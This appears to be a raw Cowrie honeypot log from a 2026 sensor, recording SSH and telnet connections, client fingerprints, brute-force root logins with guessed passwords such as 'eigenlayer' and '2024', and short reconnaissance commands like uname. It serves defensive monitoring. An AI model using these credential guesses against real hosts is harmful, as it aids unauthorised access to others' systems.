{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:23:37.686974Z","src_ip":"2.57.122.96","session":"0505b50a8b9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uniswap","password":"uniswap","message":"login attempt [uniswap/uniswap] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:23:38.003280Z","src_ip":"2.57.122.96","session":"0505b50a8b9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:23:39.111102Z","src_ip":"2.57.122.96","session":"0505b50a8b9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.137.204.54","src_port":43503,"dst_ip":"159.203.135.109","dst_port":23,"session":"beb6f4ef270d","protocol":"telnet","message":"New connection: 175.137.204.54:43503 (159.203.135.109:23) [session: beb6f4ef270d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:24:01.754011Z"}
{"eventid":"cowrie.session.closed","duration":12.430601835250854,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:24:14.184443Z","src_ip":"175.137.204.54","session":"beb6f4ef270d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.60.165.5","src_port":52352,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9bdcbce9885","protocol":"telnet","message":"New connection: 180.60.165.5:52352 (10.17.0.5:23) [session: b9bdcbce9885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:24:41.182904Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.60.165.5","src_port":58498,"dst_ip":"10.17.0.5","dst_port":23,"session":"32652f6111ee","protocol":"telnet","message":"New connection: 180.60.165.5:58498 (10.17.0.5:23) [session: 32652f6111ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:25:14.986165Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":38154,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdd7e3bf9b4a","protocol":"ssh","message":"New connection: 78.128.112.74:38154 (159.203.135.109:22) [session: bdd7e3bf9b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:14.727624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:14.985439Z","src_ip":"78.128.112.74","session":"bdd7e3bf9b4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:14.988779Z","src_ip":"78.128.112.74","session":"bdd7e3bf9b4a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"2024","message":"login attempt [root/2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:17.249955Z","src_ip":"78.128.112.74","session":"bdd7e3bf9b4a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:17.709241Z","src_ip":"78.128.112.74","session":"bdd7e3bf9b4a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'SSH check'","message":"CMD: echo 'SSH check'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:17.712430Z","src_ip":"78.128.112.74","session":"bdd7e3bf9b4a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","size":10,"shasum":"96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:17.822345Z","src_ip":"78.128.112.74","session":"bdd7e3bf9b4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:18.156529Z","src_ip":"78.128.112.74","session":"bdd7e3bf9b4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":54750,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffedc1231426","protocol":"ssh","message":"New connection: 2.57.122.96:54750 (10.17.0.5:22) [session: ffedc1231426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:29.508335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:29.512768Z","src_ip":"2.57.122.96","session":"ffedc1231426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:29.623012Z","src_ip":"2.57.122.96","session":"ffedc1231426","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"eigenlayer","message":"login attempt [root/eigenlayer] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:29.974520Z","src_ip":"2.57.122.96","session":"ffedc1231426","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:30.225210Z","src_ip":"2.57.122.96","session":"ffedc1231426","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:30.228693Z","src_ip":"2.57.122.96","session":"ffedc1231426","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:30.338389Z","src_ip":"2.57.122.96","session":"ffedc1231426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:30.343130Z","src_ip":"2.57.122.96","session":"ffedc1231426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00216913223267,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:41.185044Z","src_ip":"180.60.165.5","session":"b9bdcbce9885","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":54650,"dst_ip":"159.203.135.109","dst_port":22,"session":"e204022d0603","protocol":"ssh","message":"New connection: 2.57.122.96:54650 (159.203.135.109:22) [session: e204022d0603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:46.490835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:46.495975Z","src_ip":"2.57.122.96","session":"e204022d0603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:46.638002Z","src_ip":"2.57.122.96","session":"e204022d0603","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"eigenlayer","message":"login attempt [root/eigenlayer] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:46.967065Z","src_ip":"2.57.122.96","session":"e204022d0603","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:47.216849Z","src_ip":"2.57.122.96","session":"e204022d0603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:47.220478Z","src_ip":"2.57.122.96","session":"e204022d0603","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:47.335175Z","src_ip":"2.57.122.96","session":"e204022d0603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:26:47.341476Z","src_ip":"2.57.122.96","session":"e204022d0603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00481414794922,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:27:14.990871Z","src_ip":"180.60.165.5","session":"32652f6111ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":33824,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a86cb4c206a","protocol":"ssh","message":"New connection: 2.57.122.96:33824 (10.17.0.5:22) [session: 6a86cb4c206a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:29:21.604444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:29:21.609048Z","src_ip":"2.57.122.96","session":"6a86cb4c206a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:29:21.711047Z","src_ip":"2.57.122.96","session":"6a86cb4c206a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"eigen","message":"login attempt [root/eigen] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:29:22.064388Z","src_ip":"2.57.122.96","session":"6a86cb4c206a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:29:22.314730Z","src_ip":"2.57.122.96","session":"6a86cb4c206a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:29:22.318083Z","src_ip":"2.57.122.96","session":"6a86cb4c206a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:29:22.421985Z","src_ip":"2.57.122.96","session":"6a86cb4c206a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:29:22.425198Z","src_ip":"2.57.122.96","session":"6a86cb4c206a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":53442,"dst_ip":"159.203.135.109","dst_port":22,"session":"f27a9051c554","protocol":"ssh","message":"New connection: 2.57.122.96:53442 (159.203.135.109:22) [session: f27a9051c554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:29:36.808807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:29:36.851843Z","src_ip":"2.57.122.96","session":"f27a9051c554","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:29:36.913923Z","src_ip":"2.57.122.96","session":"f27a9051c554","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"eigen","message":"login attempt [root/eigen] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:29:37.297570Z","src_ip":"2.57.122.96","session":"f27a9051c554","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:29:37.539755Z","src_ip":"2.57.122.96","session":"f27a9051c554","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:29:37.543140Z","src_ip":"2.57.122.96","session":"f27a9051c554","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:29:37.646993Z","src_ip":"2.57.122.96","session":"f27a9051c554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:29:37.652105Z","src_ip":"2.57.122.96","session":"f27a9051c554","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.19.156.18","src_port":49738,"dst_ip":"10.17.0.5","dst_port":22,"session":"39c11c23f1a3","protocol":"ssh","message":"New connection: 38.19.156.18:49738 (10.17.0.5:22) [session: 39c11c23f1a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:30:29.624463Z"}
